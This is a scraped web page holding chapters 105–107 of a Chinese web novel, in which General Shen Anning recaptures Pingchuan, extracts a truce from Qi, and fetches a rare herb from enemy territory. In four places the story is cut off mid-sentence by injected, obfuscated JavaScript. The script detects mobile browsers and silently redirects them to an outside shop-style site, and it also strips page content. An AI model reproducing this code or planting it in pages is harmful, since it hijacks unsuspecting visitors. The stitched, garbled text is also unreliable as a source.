这一日沈安宁找来诸位将领商量如何收回平川,毕竟一直防守并不是长久之计,几人商量了一上午,夕阳出现时,沈安宁率先领着一队人马出了赤州城,江时鸣这次没有跟在沈安宁,他跟着李万,见沈安宁已经出发了,李万还在清点人马,便着急道:“李将军!我们快些吧!阿宁她带的人马不多,我怕她会有危险!” 李万听后果真加快了速度,但带着人马出发后,眼见着就要看见平川军营了,李万却下令队伍停下,江时鸣很是不解,李万解释道:“我们等元帅的消息!” 江时鸣这才没再问,只一直盯着远处已经被杞国占领的平川军营。 等了很久,天色越来越黑,江时鸣有些担心沈安宁,便又一次要找李万问问,谁知他刚回头就听见身后的一个士兵叫道:“将军!你看!” 一听这话,江时鸣和李万都朝平川军营看去,只见军营中忽然有几十只火球滚了过去,一时平川军营便向沸腾了的水一般,混乱不堪,江时鸣回头朝李万道:“李将军,这是阿宁吗?” 李万点了点头,江时鸣又道:“那我们快去接应阿宁吧!” 李万看着那片刻就像火海一般的军营,“再等等!” 江时鸣虽不解,但也没再多言。 过了许久,夜空中突然亮起了紫色的烟花,李万下令道:“众将士听令!出发!” 队伍朝平川军营而去,很快就遇上了溃逃的杞国军队,双方进入了一场混战,只是杞国军队本就是四处逃串,更是没有主将,边打边退,很快就被李万的军队逼退至平川军营处,又因没剩多少人了,便很快就降了。 霞光再次出现时,平川军营的火灭了,江时鸣满身都是血迹,跟着士兵一道打扫战场,却没看见沈安宁,他着急得想要找李万问,却发现李万也不见了。 正着急时,见军营外,沈安宁和李万带着队伍一道回来了,他急忙跑了过去,沈安宁见他一身血迹, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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沈安宁摸了摸两块牌匾,随后起身立在了排列整齐的士兵面前,带领着士兵行着军营中祭祀的大礼,一阵阵风在他们中间吹过,像是一声声低沉的呜咽,肃穆而悠长的号角响起,引领着这些英魂去向南方。 祭祀结束后,沈安宁和诸位将领回了平川,正商量着接下来如何守住平川时,张千忽然走了进来,大笑道:“我就知道!平川一定会收回的!” 将领们和张千也是旧识了,一见张千回来,都是喜出望外,张千上前一礼道:“沈元帅!末将张千归队了!” 沈安宁将他扶起,“一路辛苦了!” 张千笑道:“哪里辛苦?我一想就要打杞军了,就什么劳累都没了!一路只想往平川来!” 众人都笑了。 张千加入后,众人玩笑后开始商讨平川的事宜,最后沈安宁安排好了一切已是后半夜了,众人相继离开大帐,沈安宁也准备回去时,张千上前道:“你怎么不问我方景淮的事?” 沈安宁道:“你人都到这了,就证明他没事,不然你也不会来的!” 张千笑道:“还是阿宁了解我!” 沈安宁确实想问他,想问他身上的毒如何了,叶医师有没有办法可以医治,但张千没说,她便知道了,也就不再多问。 两人走到沈安宁的帐外时,一人将张千的马牵了过来,张千从马背上拿出了一只长长的包裹,递给了沈安宁,“他给你的!” 说着张千又拿出一包不知什么东西递给沈安宁,“这是二嫂给你的!” 一阵桂花香飘来,沈安宁便已经知道那包裹中是什么了,沈安宁接过后,张千便走了,沈安宁带着两个包裹进了帐中,她先是将孙雪燕给的打开了,那是一包桂花糕,往年都是两人份,沈安宁看着那包依旧准备了两人份的桂花糕,虽一路奔波导致有些不太完整了,她却依然觉得鼻子有些酸涩。 沈安宁叹了口气,又打开了方景淮给的包裹,那是一幅画卷,沈安宁四处看了看,随后起身将画挂在了一旁的衣架上,轻轻放手,画卷便瞬间展开了,画中女子手提长枪,骑着骏马,立在悬崖边,远处悬崖下一处灯火通明。一旁提着:满宫明月梨花白,故人万里关山隔。愿年年岁岁,金英常泛芳醁。 105. 第一百零五章 羞愧 一转眼已是几个月过去,姜国和杞国军队又交战了几场,杞国军队都没能打进平川,赤州城内也开始了重建,几场大雪后,洛京迎来了新年,方承尧的病情日渐加重,但每日仍要听方景泽和方景澄回禀诸位大臣商讨的事宜。 方昭清也自从拜师了以后,整日跟着叶云舒照顾方承尧,德妃陆如丽见她终于不再沉浸在谭谨的死中,也放下了心。 这日陈子洵带着一支小队进了京,先去了趟兵部,又被方承尧召见,一直折腾到了傍晚才得以出宫。 陈子洵也在方承尧寝殿见到了许久未见叶云舒,但因要回禀南州军务,叶云舒等便退下了,以至到了这时,陈子洵特意等在宫门口,才又见到出宫的叶云舒。 快一年没见到彼此,陈子洵不知该说什么,他吩咐了人先去陈府告知孙雪燕,才回过头看了看叶云舒,摸了摸后脑勺道:“叶姑娘,好久不见!” 叶云舒抬头看着陈子洵,点了点头道:“好久不见!” 陈子洵不知该往哪看,最后道:“叶姑娘是要回酒楼,还是去医馆?” “回酒楼。” 陈子洵急忙道:“那我送你吧!” 叶云舒楞了楞,道:“好!” 陈子洵侧身让了让,叶云舒便低了低头走了过去,陈子洵叶急忙跟上,两人一道朝酒楼而去。 宫门处,方昭溪看着远去的两人沉默着。一旁的山丹看了看叶云舒和陈子洵,又侧头瞧了瞧方昭溪,唤道:“公主?” 方昭溪没有言语,只盯着那两人的背影,眼中却满是不解。 山丹见方昭溪没说话,心中骂了陈子洵不知多少遍。 今日方昭溪一听陈子洵回京了就要去找他,又得知他被圣上叫去,便等了许久,再次打听到消息便是陈子洵已经出宫,方昭溪起身就朝宫门而来,见到得却是这一幕。 就在山丹又要出声时,就见方昭溪转身回了宫,山丹赶紧跟上,两人回到了凝黛宫,宫人正张罗着晚膳,邵贵妃邵欣一见方昭溪,便叫住了她,方昭溪回头看去,想了想走了过去坐下。 邵欣的打扮虽是贵气逼人,已不如以前那般华丽张扬,用膳间她见方昭溪兴致缺缺,便看了一眼一旁的山丹,山丹慌张的低下了头。 邵欣放下了筷子,抬手示意宫人都先下去,山丹看了看方昭溪,也不得不先退下,方昭溪这才抬头四处看了看,问道:“阿娘怎么了?” 邵欣转过身子朝向方昭溪,道:“我才要问你怎么了?吃个饭都心不在焉的?” 方昭溪垂眸,邵欣见状,觉得十分奇怪,往常方昭溪走路都是面朝天的,哪有像今日这般,邵欣紧张道:“溪儿,到底怎么了?” 方昭溪抬头看向邵欣,忽然问道:“阿娘,你爱慕父皇吗?” 邵欣闻言一愣,片刻后忽然笑了出来,原来小姑娘是为了这些事,邵欣看着眼前的方昭溪,不知不觉间女儿已经长得这般标志了,她拉过方昭溪的手,道:“我对圣上有敬畏,有恨,唯独没有爱。” 方昭溪不解道:“可这些年我见你对父皇的宠爱十分在意,若是没有爱,为何要在意他对别的女子好?” 邵欣道:“我进宫并不是因为我爱圣上,而是邵家需要我进宫,生在我们这样的府中,很多事情都由不得自己,唯一可以由自己决定的便是如何活下去,愁眉苦脸唉声叹气是一日,梳着好看的妆容笑着接受也是一日,既然这样,何必为难自己?” 邵欣拍了拍方昭溪的手,“溪儿,若真是遇见了爱慕之人,便放手去吧!其余都交给阿娘就好!” 方昭溪眼圈有些泛红,她摇了摇头,“没有,我只想陪着阿娘!” 邵欣笑了一声,也没再追问,只搂过方昭溪的肩膀,将她的眼泪藏于自己心口,邵欣像是哄小孩一般拍着方昭溪的手臂,玩笑道:“好!将来可不要后悔哦!” “不会的!” 邵欣笑了笑,抱紧了些。 大雪又将大街覆盖了,陈子洵见叶云舒似乎有些冷,便将身上的外衫脱下,正要给叶云舒披上时手顿了顿,将外衫递给了叶云舒,“我看叶姑娘似乎有些冷,不如你先穿上我这个吧!” 叶云舒见他脱了外衫后穿得单薄,便道:“你穿这么少,别着凉了!还是穿上吧!我不冷的!” 陈子洵笑道:“我自小在军营长大,又常年待在北方,自是不怕冷,倒是你,你快披上吧!” 说着陈子洵见叶云舒还未接过,便又道:“现在就不用在意这些虚礼了!不用冻伤了才好!” 叶云舒闻言便也不再推脱,接过了外衫,陈子洵笑了笑,两人依旧往酒楼走去。 “镇北侯的事……你可知道了?” 陈子洵听后轻叹了口气,“知道了!阿娘写信告诉我们了!” 叶云舒侧头看了他一眼,“听闻沈姑娘收复了赤州城和平川,应该也会回京了吧?” 陈子洵摇了摇头道:“杞国这次来势汹汹,想必不会轻易放手的,还仗得有些日子!” 说着陈子洵又道:“阿娘信中说阿宁将侯爷他们的棺椁停放在庙中由吕叔看着,想必是想等赤州城收回后带回赤州,明日我便去祭拜侯爷他们!只是想不到,原来阿月竟是杞国人。” 叶云舒想起那个活泼的小娘子,轻叹了口气,两人就这样闲聊到了酒楼,等陈子洵回了陈府时已是亥时了,孙雪燕一直在府中等他,快一年没见,母子两聊了许久,说了南州的情况以及陈其武和孙雨鹤。 大雪下了一夜,终于在第二日停了,方昭清自从跟着叶云舒去照顾方承尧后便不来暗香斋了,方昭潇自己带着宫女前来,她来时方昭浅已经坐下看着自己的书了,方昭潇看着原来方昭清和沈安宁的书案,她叹了口气,便到自己的位置坐下。 不一会,杜煖抱着书走了进来,向方昭浅问了礼后又走向了方昭潇,方昭潇很是不待见这个状元郎家的小娘子,自从她来了以后,无论哪个前来教习的博士都会夸她,而自己总是被说。 方昭潇别扭的点了点头,杜煖便笑着走到了原来沈安宁坐的位置坐下,翻阅着带来的书,像是在温习,方昭潇又看了看自己的书,实在难以看进去,便干脆不去看了。 等了许久方昭溪才到,在她身后正是今日的教学博士田博士,几人一见田博士都起身行了一礼,田博士见人都到齐了便开始讲起来了今日的课。 书上的讲完后,田博士一时来了兴致,便笑道:“过了今日,再来上课便要等年后了!不如我们来玩一玩,也正好看看各位今年的课业如何?” 杜煖道:“田博士,那我们来玩什么?” 田博士想了想,又四周环视一圈,忽然看见窗外满院子的雪,便道:“不如我们来玩飞花令吧!就用雪字,各位觉得如何?” 方昭溪和方昭浅都未出声,方昭潇低着头,田博士便道:“那就从我开始吧!” 说着田博士四处顿了顿,又道:“北风吹雪四更初,嘉瑞天教及岁除。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13202825|128163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 方昭溪接道:“瑞雪惊千里,同云暗九霄。” 田博士点了点头,又看向方昭浅,方昭浅缓缓道:“终南阴岭秀,积雪浮云端。” 田博士笑了笑,看向了方昭潇,方昭溪低着头,田博士正要出声就听见杜煖的声音响起。 杜煖等了一会见方昭潇还未出声,便道:“雪暗凋旗画,风多杂鼓声。” 田博士笑道:“好!” 说着田博士看向方昭潇,唤道:“六公主?可想好了?” 方昭潇觉得整个脑袋都发烫,她此刻特别想方昭清和沈安宁,若是她们在定能提醒自己,可想她们却还是要对诗句,方昭潇感觉四周都有人在看着自己,忽然,慌乱中她听见前方传来杜煖细微的声音:“燕山雪花大如席,片片吹落轩辕台。” 方昭潇心中更加羞愧,心一横站了起来,可气势就维持了这一个动作,她抬头一看田博士,又低垂下了头,如此冷的季节,方昭潇的额头竟渗出了汗珠。 田博士见方昭潇双手绞在一起,便叹了口气,开口道:“好了!今日就到此为止了!” 说完田博士便向众人行了一礼离开了,杜煖目送田博士离开后回头正要开口,方昭潇忽然就跑了出去,方昭潇带来的宫女还未反应过来,方昭潇已跑出了暗香斋,宫女急忙跟上。 方昭潇一路跑到了英华宫,可自从德妃解禁后,方昭清和方昭潇便搬回了枕霞宫,如今的英华宫只有几个宫人看着。 身后的宫女追了上来,“公……公主!你……你要去……去哪啊?” 方昭潇并未回答,她只知道不想再在暗香斋待着,想着方昭清这时还在照顾方承尧,自己回去后一定被德妃看出异样,方昭潇踏进了英华宫,宫人见她来了纷纷朝她行礼,方昭潇却从院中拿了一杆红缨枪挥舞起来。 沈安宁之前教的枪法,方昭潇已练得十分熟练,可如今她心中烦躁,便胡乱挥舞着长枪,可慢慢的心开始静了下来,手中的枪法又开始有了章法,方昭潇越挥越开心,像是把刚刚所有的苦闷都挥了出去。 等方昭潇停下后,忽然听见身后传来杜煖的声音,“六公主枪法真好!” 方昭潇回头,见杜煖不知何时立在了一旁,刚刚的事又涌上心头,她随意应了一声,便将手中的长枪给了一旁的宫人。 杜煖见方昭潇这就往外走,想了想,道:“六公主?我之前是不是有哪里得罪过你?” 方昭潇一愣,回头道:“没有啊!为何这样问?” 杜煖缓缓走近,“我感觉公主似乎不喜欢我,可我思来想去也不明白哪里有得罪过公主。” 方昭潇摇了摇头道:“我没有不喜欢你,只是……” 方昭潇低垂着脑袋,“你天天被田博士夸,而我……田博士从来没有夸过我。” 杜煖闻言一怔,随后笑了笑,“可是你枪挥得好啊!术业有专攻,我就拿不动这枪!” 方昭潇一听她这么说,瞬间抬起了脑袋,想了想,又道:“你不会是安慰我的吧?” 杜煖笑道:“我没有安慰你,我虽然不懂枪,但我刚刚你挥舞的十分有力,枪法如龙,枪影绰绰,一看便知是会使枪的!” “真的?”方昭潇见杜煖点了点头,这才笑了出来。笑了后看着杜煖又有些尴尬,“对不起,我不该把将脾气使在你身上!” 杜煖笑了笑,“说开了便好了!” 方昭潇点头道:“好!” 两人都笑了。 106. 第一百零六章 休战 新春后,洛京城中一连下了几日的大雪,方景淮自去年入冬后便开始离不开火盆了,到了如今更甚,屋内好几个火盆烧着,方景淮坐在火盆旁听着清脆的风铃声,叶云舒来的时候见到得正是这副场景。 方景淮一见叶云舒到了,笑道:“你来了啊!” 叶云舒见他这般,心中很不是滋味,方景淮忙问道:“怎么样?齐博士有消息了吗?” 叶云舒摇了摇头,将药箱放下,拿出了银针,“我来替你看看吧!虽不能解毒,但能替你缓解此症状。” 方景淮将手伸了出去给她,又道:“自从他告老还乡后便遣散了府中的下人,但他府中的东西一直有动过的痕迹,若不是小偷,那就是他并未出洛京城,更何况小偷也不会放着贵重的东西不偷只拿一些日常穿的衣物。” 叶云舒一边替他施针,一边听他说着,“只是不知下次在出现是什么时候了,还是得找个人前去盯着。” 方景淮点了点头,这时梁妈妈正端着熬好的药进来,一见叶云舒来了,便开心道:“叶姑娘来了!” 叶云舒正收了针,朝她一礼,梁妈妈心中正高兴,可一见方景淮面无血色,又愁道:“淑妃娘娘比殿下中毒时日更久,为何殿下却比她要严重的多?” 叶云舒思量了片刻,“或许是剂量不同。” 梁妈妈心疼地看着方景淮,想了想,道:“殿下不告诉沈姑娘吗?” 方景淮拢了拢衣物,摇了摇头道:“此时她正为边境一事烦忧,还是不要让她担心了!” 叶云舒若有所思地看了他一眼,收拾好了药箱背上,又将一包药交给梁妈妈,“我加了几味药,可帮他缓解毒性,劳烦梁妈妈了!” 梁妈妈迅速接过了药,“多谢姑娘!” 叶云舒点了点头便离开了,一路踏着白雪回到了酒楼,她拿出了叶晴的手札又翻了一遍,还是没能找出一点有用的来,她有些烦闷,忽然想起沈安宁给的那本《本草经》,她虽已翻过了好几遍,但此时又拿起了这本书,翻到一页时,她突然一顿,仔细又看了一遍,沉默了许久。 大雪逐渐融化,赤州开始出现了一片绿色,沈安宁在平川军营中的大帐中,双手撑在沙盘上,表情十分严肃,像是在思索着什么。 就这样一动不动的不知等了多久,忽然,她朝大帐外唤了一声:“来人!” 大帐外的士兵掀开了大帐的门帘,带进一股冷风,士兵还未来得及行礼,沈安宁便道:“去叫李将军他们过来!” “是!” 士兵应下后便离去了,过了好一会,李万、张千等将领都来了,沈安宁站在沙盘旁,道:“我们一直这样和杞军耗下去也不是办法,仗打得越久,所耗费的物资也多,不如我们主动出击,早点结束这场战争!” 张千问道:“话是这么说,可我们该如何主动出击?” 沈安宁指着沙盘上杞军军营的位置,道:“你们看,杞军军营外这几处可从我们这边绕过去,我们可用分兵合击之术,多面夹击,由几位将军带着骑兵分多路去偷袭杞军军营,让他们无法判断我们的主力军,最后到杞军军营时再集合兵力,同时由一支队伍带上我们的火器前去接应,各位意下如何?” 众人听后都盯着沙盘看了许久,都觉得可行,又一道商讨了一些细节,最后李万最先开口道:“元帅,这东边一路便末将带一支队伍前去吧!” 沈安宁回头抽了一支军旗给他,“师父,你去西边一路!” 李万看着沈安宁道:“元帅,东边一路最为凶险,还是由末将前去!” “东边一路我自有安排!” 李万看了看沈安宁,最后接过了军旗,“是!” 张千便道:“那东边就由我去吧!” 沈安宁将一支军旗递给他,“你带领一队负责火器接应!” 张千看着沈安宁手中的军旗顿了顿,随后接了过来。 沈安宁一一安排后,将东边一路留给了自己,最后吩咐道:“今夜便行动,各位速去清点人马出发,到自己的位置上,一切看哨箭行事!” 众人都应声退下,沈安宁也去清点了人马,骑上了三妹,沈安宁看了一眼残阳,带着骑兵朝指定的地方而去,等了许久,终于入夜,沈安宁在高处盯着杞军军营,随后抬手示意,一声哨笛响彻天际,三方人马一道朝杞国军营而去。 正在大帐中商量军务的穆文钦和孔源听见帐外嘈杂声,急忙出了大帐,见军营外四处都有火光而来,士兵大喊着:“姜军来了!姜军来了!” 穆文钦见状脸色一沉,朝孔源看了一眼便跑过去骑上了马,随意点了一支队伍朝东边迎去,孔源见他已经远去了,便迅速召集将领,整顿人马准备迎敌。 穆文钦知道东边较为平坦,少有较高处,定是沈安宁亲自带兵前来,谁知跑了很远,才见到沈安宁带着一小支队伍立在前方,像是在等自己,穆文钦一怔,急忙拉住缰绳,盯着沈安宁。 沈安宁却没被影响,只朝一旁的士兵示意了一下,忽然黑暗中传来铁链的声音,杞军惊慌的四处看去,随着铁链声音越来越急,地面似乎也开始震动,忽然杞军发现黑暗中跑来一支队伍,他们用铁链连着马匹,正朝自己驶来。 穆文钦迅速下令撤退,却已是来不及,杞军被连环马冲击,连环马所到之处,杞军尽数被卷进,穆文钦一边防御着一边想着如何破局,他翻身跳上马,下令道:“集中兵力攻击一处!” 奈何杞军已被冲击的厉害,一时没有几人回应他,穆文钦只得挥舞着手中的大刀防御,伺机脱身。 沈安宁看着眼前这一幕,她明白连环马虽有强大的攻击力,但也有较大的缺点,那便是若一匹马倒下其他的与之相连的马匹也会受到牵连,可今夜本是偷袭,杞军赶来的这么快定是来不及整顿兵马,这一路慌慌张张的,哪还有什么章法。 还没过多久,杞军便所剩无几了,穆文钦看准了时机想要砍向连环中的一匹马,忽然寒光一闪,穆文钦迅速收了大刀抽身一退,一只飞箭从他眼前飞过,射中了一个杞军。 穆文钦朝着飞箭来的方向看去,沈安宁正拿着弓对准了自己,穆文钦见此战定是必败了,下令撤退,但因被连环马围住,难以逃脱,穆文钦周旋了很久,最后看准了时机,带着几人冲了出去,一路朝杞军军营而去。 沈安宁俘虏了战 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13212408|128163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 场上所剩无几的杞军,也带着军队一路朝杞军军营而去。 穆文钦眼见前方就要回到军营,忽然天像是亮了,接着几团火球落到了军营,一时军营大火四起,穆文钦拉住缰绳,身后的士兵问道:“世子!我们该怎么办?” 穆文钦看着身后越来越近的连环马军队,最后带着几人朝杞国穹阳城退去。 一夜过去,沈安宁和诸位将领汇合,孔源已带领杞军退至穹阳城,沈安宁命人打扫战场,返程时张千上前道:“没想到阿鸣还真能吃下军营这苦。” 说着看了一眼四周,又低声道:“你让我去负责火器接应就是为了让我保护他?” 沈安宁道:“他既然已经选择了参军,那就应该能想到都会有些什么结果,我让你去负责火器接应,只是因为只有你懂那火器。” 张千点了点头,过了一会又笑道:“阿宁,你说这一仗,杞军要休息多久?” 沈安宁并未回头,“得有个小半年可以安宁了!” 张千大笑道:“是啊!” 果然第二日,孔源就派来使者送来休战书,沈安宁看着那使者道:“原本是不必有这些伤亡的,是你们先撕毁休战书,发动奇袭,抢占我们国土,如今又送来休战书,你们如此不诚信,这让我们如何合作?” 使者见诸位将领各个高大魁梧,不怒自威,心中有些胆怯,他开口道:“那不知沈元帅要如何才能信我们?” 沈安宁朝张千看了一眼,张千便上前递上一张纸,使者接过纸张一看,上面除了杞国需给姜国提供五百战马外,还划定了两国边界,以及过界后如何处置等等,使者看着这些条件,越看越是为难,他抬头看向沈安宁,“这……” 沈安宁道:“不急,你可带回去和孔源好好商量一番!” 使者正要离开,想了想又回头道:“如果我们答应元帅的条件,那元帅可否将我们两位将军放回?” 一旁的张千道:“你们还谈起条件来了?” 使者被吓得一激灵,沈安宁道:“他们是我们的战俘,我们不会放!” 使者还想再说,又见一旁好几张脸看着自己,便低头应下,将纸张折叠放入怀中。 沈安宁抬手,一个士兵上前,带着使者离开。 过了三日,沈安宁正在军营中操练士兵,忽然那日的使者带着五百匹战马前来,沈安宁回到大帐,使者将上次带走的纸张奉上,道:“上次沈元帅所说,我们元帅都已安排妥当,战马也送来了!” 沈安宁看了一眼张千,见张千点了点头,沈安宁才答应了使者,送走使者后,张千上前道:“这几日我去探查过了,确实是按我们说的做了!” 沈安宁点了点头,连夜将这些写下送回洛京,自己则带着军队布防。 一旬过后,洛京来了旨意,让沈安宁择日班师回朝,沈安宁接过圣旨后顿了顿,吩咐人照顾好来传旨的小公公。 沈安宁将军营一切事务安排妥当之后,已是三日后了,沈安宁只带了几十人押送杨逾和周山,让李万驻守,张千跟随一同进京,张千又带上了江时鸣。 队伍刚出发不过半日,沈安宁便收到了洛京的来信。 107. 第一百零七章 采药 信使将信送到平川时,沈安宁、张千等人刚走了半日,李万便命信使折返,到了下午信才送到沈安宁手上,沈安宁将信打开,发现里面不止有一封信,还有一张似乎是从哪本书中撕下的纸张,张千见沈安宁看信后越来越严肃的面容,问道:“怎么了?” 顿了顿张千一惊,正要说话又想起一旁有宫中的小公公在,急忙压低了声音道:“不会是方景淮……没……没了吧?” 沈安宁瞥了他一眼,将信收好,道:“叶姑娘说有一种叫终岁草的草,可能可以解他身上的毒。” 张千一喜,“那不是很好吗?这种草在哪?我去给你找一箩筐来!” 沈安宁侧眼看了一旁坐在马车里的小公公,道:“叶姑娘是这种草天性喜寒,生长极难,又有剧毒,一年也难得见过几株,只在涿阳城有。” “涿阳城?”张千眉头微皱,“那不是穆瞻的地盘吗?” 沈安宁点了点头,心中有些疑惑,只是此时最重要的便是找到此草并将它带回,叶云舒并未说这草一定能解毒,不过既然有一点希望那也不能放过。 沈安宁回头看了一眼马车和囚车,低声朝张千道:“我去一趟涿阳城,你带着他们先走,我找到了就赶来和你汇合!” 张千忙道:“我派几个人跟着你!” 沈安宁摇了摇头,“人多容易被发现,我悄悄去悄悄回,不会惊动杞军的!” 张千担心沈安宁的安危,可一想沈安宁说得对,人多了容易被发现反而更危险,于是道:“那你小心!” 沈安宁点了点头,便悄悄脱离了队伍,朝涿阳城而去。 杞国虽战败,但入夜后,和穹阳城相邻的涿阳城内仍灯火通明,似乎并未受到前线的影响,沈安宁换了一身便装,混在人群中,她对涿阳城很是熟悉,当初和赵巳为了穆瞻手中的那把白羽,两人将整个涿阳城都摸了个透,如今想起来心中一阵唏嘘。 沈安宁定了定神,这种草喜寒,这时候应该还应季,沈安宁思量了片刻,找了一家药材铺进去了,她自小便长在平川,对于杞国边境的口音十分熟悉,很快就打听出了自己想要的消息,又问清楚了这种草药的生长之地。 涿阳城西边有一处山谷,长着一些有毒的药材,沈安宁离开了药材铺后正准备前往西边的山谷,忽然街上一阵马蹄声起,沈安宁随意寻了面具摊拿了面具,侧头打量着身后路过的几匹骏马,那是穆文钦!沈安宁正思量时,摊主道:“这位小娘子?可喜欢我这面具?” 沈安宁将面具放下,转身正要离开时,又顿了顿,去了一旁的杂货铺买了一把匕首和一只木盒子。 夜空中挂着冷月,沈安宁一人在山谷中四处寻找,找了许久却一无所获,心中想道:这样找下去也不是办法,毕竟这山谷这么大,总不能一点一点都找一遍吧!还是得想想办法。 沈安宁额头冒出了热汗,她蹲到山间的小溪旁,正要洗把脸时,见溪水上冒着细烟,沈安宁伸出手试探了下溪水,竟是冷得让人打了个寒颤,山间溪水冬暖夏凉倒也没什么稀奇,只是这水冷得像是结了冰一般,凛冽刺骨。 沈安宁起身沿着小溪一路往上走去,越往上她便觉得越是寒冷,走了不知多久,终于见到了一处幽深的山涧,沈安宁接着月光小心地探查,这里冷得出奇,沈安宁揉了揉双臂取暖,随后继续找着。 忽然,她在一处山壁滴水处发现了一株绿草,她迅速翻出叶云舒给自己的信,拿出信中那张从《本草经》上撕下的一页展开,上面画着的草药和面前这株一模一样,沈安宁一笑,拿出匕首将草药连着土一道挖了出来,用背上的木盒子装好,又用布包了起来背到了背上,这才起身看了一眼四周,就转身离开了此处。 往山谷外走时,沈安宁正想着如何绕出涿阳城,谁知刚出了山谷,就见前方围着一队杞军,穆文钦正骑着马立在中间。 沈安宁扫视了一圈,这些人看来并不是军队之人,倒像是府兵,想必是穆瞻府上的人。 穆文钦见沈安宁十分镇静,但手已经摸上了腰间的匕首,他不甘心输给沈安宁,也不甘心就此休战,奈何主帅是孔源,军队只听从他的话。且因他私自到军营一事,圣上已经下旨将他召回了,可穆文钦仍不想就此离开,他派人守在往涿阳城必经之道守着,因为穆文钦知道,沈安宁一定会来。 果然,沈安宁单枪匹马的来了,穆文钦得知时正在来涿阳城的路上,他一定要生擒沈安宁,这样边境之事还有转圜的余地,他有意装作没看见沈安宁在面具摊前。 沈安宁将背后的木盒绑好,抽出了匕首抬头道:“一起上吧!” 穆文钦坐在马背上冷眼看着沈安宁,还未下令跟随而来的府兵便都冲向了沈安宁,眼见一枪正要刺向沈安宁,沈安宁侧身一让,一手抓住了长枪将府兵拉近,接着就是手起刀落,府兵脖颈处渗出了血,倒在了地上,沈安宁手中的匕首上一滴血滴落。 沈安宁接过长枪一挥,迎上了冲上前的府兵。 这一切都被坐在马背上的穆文钦看在眼中,穆瞻得知穆文钦来了,正要邀请他进王府,穆文钦说起生擒沈安宁一事,穆瞻便迅速命人带了百来个府兵跟随他。穆文钦不愿让沈安宁觉得自己仗着人多,便要推辞,奈何穆瞻还是叫二十来个府兵跟着,说是为了保护他,这让穆文钦心中更是不快,如今看着沈安宁和这些保护自己的府兵交手,穆文钦下令道:“都给我住手!” 府兵们脸上都是不解,沈安宁也偷得一丝休息,她抬眼看向穆文钦,见穆文钦拿着弯刀指着自己,冷冷道:“我要单独和你决斗,生死不论,你要是赢了我就放你走!要是输了,那便要将那日的条款改掉!” 沈安宁还未来得及说话,一旁的府兵急忙道:“世子!不可!” “是啊!世子!我们是王爷派来保护你的!让我们上吧!” “世子!” …… 穆文钦一跃下了马,走到了他们前面,下令道:“你们退下!” “世子!” “世子!” …… “退下!” 府兵们看穆文钦似乎有些生气了,便互相看着退下了,穆文钦拿起弯刀指着沈安宁道:“开始吧!” 沈安宁瞟了一眼穆文钦身后的府兵,随后挥动了长枪接了穆文钦一刀,刹那间,两人已交手数招,这时穆文钦看准了时机朝沈安宁砍来,沈安宁横过长枪接下,穆文钦的弯刀重似千金,压得沈安宁有些难以招架,沈安宁不想和他耗体力,便抬腿一踢,穆文钦不得不退过躲开,沈安宁迅速抽身。 这时沈安宁背上的木盒掉了出去,沈安宁立即去捡,穆文钦眼见自己追去的弯刀就要伤到沈安宁时,想都没想就要收回,谁知沈安宁忽然回头一枪挑掉了穆文钦手中的弯刀,穆文钦再反应过来时,长枪已停在自己脖子前一寸。 “世子!” “世子!” “你敢动我们世子!” 沈安宁一脚将一旁的木盒踢起单手接过,随意道:“你们若是再走近些,我就敢了!” 府兵们被沈安宁的话吓住,沈安宁瞥了一眼地上穆文钦的弯刀,心中疑惑这人为何关键时刻收了刀,虽说即使他不收也伤不到自己,自己一样可以将他抓住,但看着眼前的穆文钦,沈安宁心中很是不解。 穆文钦自己也没想到,但既已输了那便认了,“马下回马枪?听闻你师从李万?” 沈安宁并未回答他的问题,只是单手将木盒绑回了背上,道:“劳驾穆公子和我走一趟了!” 说着就逼着穆文钦往后退,就在两人离府兵有些距离时,沈安宁正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13223412|128163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要放了穆文钦,又忽然一顿,似乎想起什么,道:“听闻你阿娘是杞国第一美人莘若?” 穆文钦一怔,警惕地看向沈安宁。 沈安宁接着说道:“我第一次进宫时,见到了化名钟意兰的穆文镜,当时就觉得她很是眼熟,可我是第一次进宫,之前定是没有见过她的,直到后来又见到了你,这种眼熟让我想了很久,我才想起来我曾在翮王府中见过一幅画,现在看来,你们眉眼确实和那画中女子很是相似。” 穆文钦听后似乎有些怀疑,沈安宁道:“信不信的,你自己去看不就好了?翮王府后宅有一处幽静的小院,画像就在里面。” 